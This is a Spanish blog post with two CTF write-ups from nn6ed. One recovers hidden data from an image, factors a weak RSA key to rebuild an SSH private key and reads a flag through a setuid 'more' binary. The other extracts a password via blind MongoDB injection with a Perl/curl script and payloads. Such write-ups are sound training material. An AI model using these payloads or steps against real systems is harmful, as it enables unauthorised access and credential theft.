Writeup CTF nn6ed crypto 1 y 2

Aquí va el solucionario de los dos retos web. El primero es muy sencillo y el segundo ha sido un gran quebradero de cabeza para mucha gente 🙂

Como siempre digo, aquí en el write-up se ve todo muy sencillo, pero ha sido una prueba dura e interesante en la que he aprendido mucho.

nn6ed6

En este reto tenemos lo que parece una imagen para descargar. Tras hacerlo vemos que da error al cargar y si la abrimos con un editor hexadecimal, nos damos cuenta de que las cabeceras son erróneas:screenshot-from-2016-10-02-16-38-53

Tras arreglar las cabeceras ya se ve la imagen:

screenshot-from-2016-10-02-16-40-45

moji2

Para pasar la primera parte la flag es la que aparece en la imagen.

screenshot-from-2016-10-02-16-43-11

Esta parte fue algo más dura. Al principio estuve probando a jugar con el Gimp, con el Openstego, Stegsolve, etc, pero no salía nada.

Tras ver la pista que dieron los organizadores ya fue más sencillo seguir: Hint! Your pixels are cloacked!

Si buscamos en Google ‘stego pixels cloaked’ llegamos a la siguiente herramienta: https://github.com/cyberinc/cloacked-pixel

Probamos con varias contraseñas de prueba a ver si es la herramienta que buscamos:

$ python lsb.py extract moji2.png x 1
[+] Image size: 589x385 pixels.
[+] Written extracted data to x.

$ cat x
r�Y^�c��k�:���2���R�������+���=��hn��.wN�e���I�'*�|׍�b�s�_����H2w�+��4v�F��z(ɔ�GEH2k�^��V�>�!��x�vx���e���}�إ�i�\����

$ python lsb.py extract moji2.png x 2
[+] Image size: 589x385 pixels.
[+] Written extracted data to x.

$ cat x
|	�IA�sb@�p(H*���E�C��>����8ڭ��	�wy�>�!t��ɤ��Q"9��M�Ԍ�����IF������|YT�-�8.�������_�
Y>�Q����#�k��j/�䆯N"(0�A���y/z]�M-H_�����
                                                7F,��.^����M6��l��췓��o*֫��L���15zeFr>�W

Finalmente la contraseña era la parte que eliminamos en la primera imagen: IT_A_KEY?

$ python lsb.py extract moji2.png x ITS_A_KEY?
[+] Image size: 589x385 pixels.
[+] Written extracted data to x.

$ cat x
Well done! Next step:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCx5QBxa6pHCE8k9yteQH1EYY+J5HKTsmJXIklWW7oOSozg4kTdyQ8KS8cSsSwLFB7RWS9R09sBC3SuslFqoUNg9WF6HfggqwFcQrYr/Y219QrKUHdGc4Ww2VMMsu1Z7J/CdoCaVOtvzorrRn84D1Yup/O4mElJtFKPqVRexPH4nQ== nope@challenges.ka0labs.org

Parece que tenemos la clave pública del usuario nope para conectar a challenges.ka0labs.org

Como no tenemos su contraseña, el siguiente paso es intentar factorizar el RSA para tratar de conseguir la clave privada. Primero generamos la clave pública:

$ ssh-keygen -e -f reto.pub -m pem > publica.pub

$ cat publica.pub
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "1024-bit RSA, converted by pepelux@debian from OpenSSH"
AAAAB3NzaC1yc2EAAAADAQABAAAAgQCx5QBxa6pHCE8k9yteQH1EYY+J5HKTsmJXIklWW7
oOSozg4kTdyQ8KS8cSsSwLFB7RWS9R09sBC3SuslFqoUNg9WF6HfggqwFcQrYr/Y219QrK
UHdGc4Ww2VMMsu1Z7J/CdoCaVOtvzorrRn84D1Yup/O4mElJtFKPqVRexPH4nQ==
---- END SSH2 PUBLIC KEY ----

Luego intentamos factorizar:

$ openssl asn1parse -in publica.pub -dump
    0:d=0  hl=3 l= 137 cons: SEQUENCE          
    3:d=1  hl=3 l= 129 prim: INTEGER           :B1E500716BAA47084F24F72B5E407D44618F89E47293B262572249565BBA0E4A8CE0E244DDC90F0A4BC712B12C0B141ED1592F51D3DB010B74AEB2516AA14360F5617A1DF820AB015C42B62BFD8DB5F50ACA5077467385B0D9530CB2ED59EC9FC276809A54EB6FCE8AEB467F380F562EA7F3B8984949B4528FA9545EC4F1F89D
  135:d=1  hl=2 l=   3 prim: INTEGER           :010001

Y usamos yafu para factorizar. No sé por qué extraña razón en Linux tarda horas y en Windows es inmediato, pero finalmente los factores son:

C:\Users\pepelux\yafu-1.34>yafu-x64.exe
factor(0xB1E500716BAA47084F24F72B5E407D44618F89E47293B262572249565BBA0E4A8CE0E244DDC90F0A4BC712B12C0B141ED1592F51D3DB010B74AEB2516AA14360F5617A1DF820AB015C42B62BFD8DB5F50ACA5077467385B0D9530CB2ED59EC9FC276809A54EB6FCE8AEB467F380F562EA7F3B8984949B4528FA9545EC4F1F89D)


fac: factoring 124921792855775818977661919091664145255912655430229905070916751207634989679077563366150914357137401069361159612310487901746227640262272162906761601684088715676733904562995975156691253986657287537424434696261198347613131906610882335716880469335259545274414561296986586441863163721176444852843817223762572605597
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
Total factoring time = 0.8593 seconds


***factors found***

P155 = 11176841810447878884198922181790853927738752698634471105954665587989597090822634144453546012786699765851259528055917981278986110673041108833426949630101553
P155 = 11176841810447878884198922181790853927738752698634471105954665587989597090802634144453546012786699765851259528055917981278986110673041108833426949630101549

ans = 1

Una vez que tenemos los factores, usamos rsatool para generar la clave privada:

$ python rsatool.py -f PEM -o key.pem -p 11176841810447878884198922181790853927738752698634471105954665587989597090822634144453546012786699765851259528055917981278986110673041108833426949630101553 -q 11176841810447878884198922181790853927738752698634471105954665587989597090802634144453546012786699765851259528055917981278986110673041108833426949630101549
Using (p, q) to initialise RSA instance

n =
b1e500716baa47084f24f72b5e407d44618f89e47293b262572249565bba0e4a8ce0e244ddc90f0a
4bc712b12c0b141ed1592f51d3db010b74aeb2516aa14360f5617a1df820ab015c42b62bfd8db5f5
0aca5077467385b0d9530cb2ed59ec9fc276809a54eb6fce8aeb467f380f562ea7f3b8984949b452
8fa9545ec4f1f89d

e = 65537 (0x10001)

d =
e80cc037332a3ade2bdf1c4c05f639712992035d6bd81da909e03fa9d69d2c6732bd666a4ea4266a
57cea62356405d4e95e6b0431d0760a580df20dbf32bc8a654b0ba96e8c4635e912310cc6fc3d654
ff9306fbc63d9538b5f30911e16a8c9a6ab1a5ad1fbd1d08c6e1ac0d36fca0d3eb357587070474a2
2b50223abbe4fc1

p =
d56743c765b827d64532b28d5896eedf8fa2f48f774054febcfeb742edbec42437dd18938f750e5e
bf86625b921c0894958afc3445e4cb6b047c3ea6d5c08831

q =
d56743c765b827d64532b28d5896eedf8fa2f48f774054febcfeb742edbec3777eae3f5a137b7814
fcc2e353fbc8039f4e6a8dece957cb6b047c3ea6d5c0882d

Saving PEM as key.pem
$ cat key.pem 
-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQCx5QBxa6pHCE8k9yteQH1EYY+J5HKTsmJXIklWW7oOSozg4kTdyQ8KS8cSsSwL
FB7RWS9R09sBC3SuslFqoUNg9WF6HfggqwFcQrYr/Y219QrKUHdGc4Ww2VMMsu1Z7J/CdoCaVOtv
zorrRn84D1Yup/O4mElJtFKPqVRexPH4nQIDAQABAoGADoDMA3Myo63ivfHEwF9jlxKZIDXWvYHa
kJ4D+p1p0sZzK9ZmpOpCZqV86mI1ZAXU6V5rBDHQdgpYDfINvzK8imVLC6lujEY16RIxDMb8PWVP
+TBvvGPZU4tfMJEeFqjJpqsaWtH70dCMbhrA02/KDT6zV1hwcEdKIrUCI6u+T8ECQQDVZ0PHZbgn
1kUyso1Ylu7fj6L0j3dAVP68/rdC7b7EJDfdGJOPdQ5ev4ZiW5IcCJSVivw0ReTLawR8PqbVwIgx
AkEA1WdDx2W4J9ZFMrKNWJbu34+i9I93QFT+vP63Qu2+w3d+rj9aE3t4FPzC41P7yAOfTmqN7OlX
y2sEfD6m1cCILQJBAMasFaDMJS8JP3DcY9Tm50pAee/+pIHC30lqRYjMt335TfzLRY0X6CHzYpOt
NpBcuJ+kPfoYW9G5NvrIhR+Y1/ECQAzhsuGybi9Za8vno0iZs8mi7f89OcGUX9wgtAdCOqWp7Oev
w0wxw8ngiBMY2rX0IgWlwPNwEnChASBO19tHR/ECQQDStJZH+WDMfOGKwgdIlKXA6KCZSj7e0UkF
hpC+B7ml7N8tPh8OXEKApLBECKZfXI2h/t8mNRubT7oqAtNekotX
-----END RSA PRIVATE KEY-----

Tras darle permisos 600 al fichero de claves, podemos conectar con el servidor:

$ ssh -i key.pem nope@challenges.ka0labs.org
=== Welcome to Barad-dur ===
The trees are strong, my lord. Their roots go deep...

nope:~$ 

Probamos varias cosas y vemos que, además de que nos tira tras un par de segundos de inactividad, también nos echa tras 3 warnings sobre lo que él considera prohibido:

nope:~$ ls
hint.txt
nope:~$ cat hint.txt 
The more you try, the closer you are
The more you try, the closer you are
The more you try, the closer you are
The more you try, the closer you are
The more you try, the closer you are
The more you try, the closer you are
The more you try, the closer you are
The more you try, the closer you are
The more you try, the closer you are
......

nope:~$ ls /
*** forbidden path -> "/"
*** You have 2 warning(s) left, before getting kicked out.
This incident has been reported.
nope:~$ 
Time is up! You're too slow 🙂
Connection to challenges.ka0labs.org closed.

Como no nos deja ejecutar casi nada, le pedimos ayuda con un help:

nope:~$ help
cat  cd  clear  exit  grep  help  history  lpath  ls  lsudo  more  pwd  sort

Y probamos los diferentes comandos. Uno de ellos nos da información de lo que podemos hacer, que es muy poco:

nope:~$ lpath
Allowed:
 /home/
 /home/nope
 /usr/bin/

En el directorio home vemos otro usuario, a cuya carpeta no tenemos acceso. Pero todo apunta a que tenemos que leer algo de ahí dentro, haciendo una escalada de privilegios:

nope:/home$ ls -la
total 16
drwxr-xr-x 13 root   root  4096 Oct  2 15:56 .
drwxr-xr-x 48 root   root  4096 Oct  2 15:56 ..
drwxrwxrwx  2 nope   users 4096 Oct  2 15:56 nope
dr-x------  2 noruas users 4096 Sep 21 10:44 noruas

nope:/home$ ls noruas/
ls: cannot open directory 'noruas/': Permission denied

Si echamos un vistazo a lo que hay en /usr/bin vemos que hay un fichero propiedad de este usuario y con suid (el fichero more):

nope:~$ ls -la /usr/bin
-rwxr-xr-x  1 root   root   72864 Sep  7 13:47 mkswap
-rwxr-xr-x  1 root   root   39696 May 14 12:50 mktemp
lrwxrwxrwx  1 root   root       4 Jul 20 13:33 modinfo -> kmod
lrwxrwxrwx  1 root   root       4 Jul 20 13:33 modprobe -> kmod
-rwsr-xr-x  1 noruas root   39752 Sep  7 13:47 more
-rwsr-xr-x  1 root   root   40136 Sep  7 13:47 mount
-rwxr-xr-x  1 root   root   14768 Sep  7 13:47 mountpoint
-rwxr-xr-x  1 root   root   14688 Aug 17 16:43 mpicalc
-rwxr-xr-x  1 root   root   23000 Jun 12 11:13 msgattrib
-rwxr-xr-x  1 root   root   22992 Jun 12 11:13 msgcat
-rwxr-xr-x  1 root   root   23112 Jun 12 11:13 msgcmp
-rwxr-xr-x  1 root   root   18880 Jun 12 11:13 msgcomm

Tratamos de ver si podemos listar todo pero nos dice que no:

nope:/home$ more noruas/*
more: stat of noruas/* failed: No such file or directory

Vemos que en nuestro directorio hay un fichero .your_history y suponemos que en el del usuario también debe haberlo:

nope:~$ ls -la
total 20
drwxrwxrwx  2 nope users 4096 Oct  2 16:00 .
drwxr-xr-x 13 root root  4096 Oct  2 16:00 ..
-rw-r--r--  1 nope users    0 Oct  2 16:00 .your_history
-rwxrwxrwx  1 nope root  9250 Sep 14 14:52 hint.txt

nope:~$ more ../noruas/.your_history
cat flag.txt

Y ahí tenemos nuestra flag 🙂

nope:~$ more ../noruas/flag.txt
nn6ed{RSA_w0rks_Gr34t_1f_You_Us3_It_Pr0perly}

Writeup CTF nn6ed web1

Ha sido un fin de semana muy intenso. Antes de nada dar la enhorabuena a los chicos de Insanity – @ka0labs por el  CTF, ya que ha sido muy entretenido.

Como no tomé apuntes de las cosas que fui haciendo, me toca pasarme los retos de nuevo para podr escribir el solucionario 🙂 así que iré escribiendo el write-up poco a poco. Aquí va cómo resolví el primer reto de web.

nn6ed1

Tras acceder a la web del reto vemos la siguiente web:
nn6ed2

Editando el código fuente, vemos lo que parece una pista, pero que sólo es para despistar:

<!-- It's nice to design listening to your favourite song :)) https://youtu.be/UbA8TFYY-KY?t=4m54s -->

Nos llama la atención ver la forma como se generan las imágenes:

            <img src="/avatar/Q2FjdHVz">
            <img src="/avatar/UGV0YWxv">
            <img src="/avatar/QnVyYnVqYQ==">

Si ponemos cualquier cosa en avatar vemos que aparece:
nn6ed4

Si escribimos por ejemplo una comilla en base64:

nn6ed4

Para probar de manera más sencilla usé el siguiente script:

#!/usr/bin/perl
use MIME::Base64;

my $word = $ARGV[0];
my $b64 = encode_base64($word);
 
exec "curl -I http://challenges.ka0labs.org:31337/avatar/".$b64;

Y así analizamos mejor las respuestas:

$ perl web1.pl "Burbuja"
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 10:38:20 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 39
Connection: keep-alive
Location: /imgs/burbuja.png
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0
$ perl web1.pl "Burbuja'"
HTTP/1.1 400 Bad Request
Server: nginx
Date: Sun, 02 Oct 2016 11:04:32 GMT
Content-Type: image/gif
Content-Length: 400305
Connection: keep-alive
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Fri, 15 Aug 2014 14:14:33 GMT
ETag: W/"61bb1-147da051928"

Como suponemos que es un MongoDB, por la descripción del reto, intentamos ejecutar diferentes inyecciones:

$ perl web1.pl "Burbuja||'1'='1"
HTTP/1.1 400 Bad Request
Server: nginx
Date: Sun, 02 Oct 2016 11:06:54 GMT
Content-Type: image/gif
Content-Length: 400305
Connection: keep-alive
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Fri, 15 Aug 2014 14:14:33 GMT
ETag: W/"61bb1-147da051928"
$ perl web1.pl 'Burbuja||"1"="1'
HTTP/1.1 500 Internal Server Error
Server: nginx
Date: Sun, 02 Oct 2016 11:07:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 20
Connection: keep-alive
ETag: W/"14-T/08Zi7QtXFVEDkd9P0Srw"

Se puede ver que según lo que metamos nos da diferentes resultados, en este caso errores, por lo que suponemos que no filtra bien lo que introducimos, aunque no llegamos a sacar una respuesta válida de esta forma.

Si probamos a inyectar un byte nulo al final, vemos que ya sí conseguimos sacar cosas en claro. Para ello modificamos el script:

#!/usr/bin/perl
use String::HexConvert ':all';
use MIME::Base64;

my $word = $ARGV[0];

my $hex = ascii_to_hex($word)."00";
my $word = hex_to_ascii($hex);
my $b64 = encode_base64($word);
 
exec "curl -I http://challenges.ka0labs.org:31337/avatar/".$b64;

Y vemos que funciona:

$ perl web1.pl 'Burbuja"'
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 11:12:22 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 39
Connection: keep-alive
Location: /imgs/burbuja.png
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0

Así que toca probar cosas:

$ perl web1.pl 'Burbuja";1==1'
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 11:15:55 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 36
Connection: keep-alive
Location: /imgs/mojo.png
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0
$ perl web1.pl 'Burbuja";1==0'
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 11:15:58 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 37
Connection: keep-alive
Location: /imgs/undefined
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0

Finalmente, tras varias pruebas, vemos que tenemos un blind injection:

$ perl web1.pl 'Burbuja"||1==0'
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 11:17:24 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 39
Connection: keep-alive
Location: /imgs/burbuja.png
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0
$ perl web1.pl 'Burbuja"||1==1'
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 11:17:28 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 36
Connection: keep-alive
Location: /imgs/mojo.png
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0

Si la petición es válida nos carga la imagen mojo.png y si no, carga burbuja.png.

Llegados a este punto, me encontré algo bloqueado porque la verdad es que no tengo ni idea de MongoDB. Así que tras buscar en Google, la web https://pentesterlab.com/exercises/web_for_pentester_II/course me dio una idea de por dónde seguir:

$ perl web1.pl 'Burbuja"||this.password.match(/./)'
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 11:54:18 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 36
Connection: keep-alive
Location: /imgs/mojo.png
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0

Vemos que nos devuelve mojo.png, por lo que la petición es correcta. Así que seguimos por ese camino a ver si sacamos la flag. Para ello fui probando a mano combinaciones y acotando el resultado.

$ perl web1.pl 'Burbuja"||this.password.match(/^bubbles{[A-Z].*}$/)'
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 11:57:59 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 36
Connection: keep-alive
Location: /imgs/mojo.png
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0

Cuando iba por la mitad me empezó a dar errores, la verdad es que no sé por qué, pero cambié la forma de inyectar para poder continuar:

$ perl web1.pl 'Burbuja"||this.password[14]>"a"'
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 12:01:03 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 36
Connection: keep-alive
Location: /imgs/mojo.png
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0
$ perl web1.pl 'Burbuja"||this.password[14]=="u"'
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 02 Oct 2016 12:01:48 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 36
Connection: keep-alive
Location: /imgs/mojo.png
Vary: Accept
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
max_ranges: 0

Hasta que finalmente salió el flag para pasar el reto: bubbles{Ih4t3Sup3RG1rrrlz}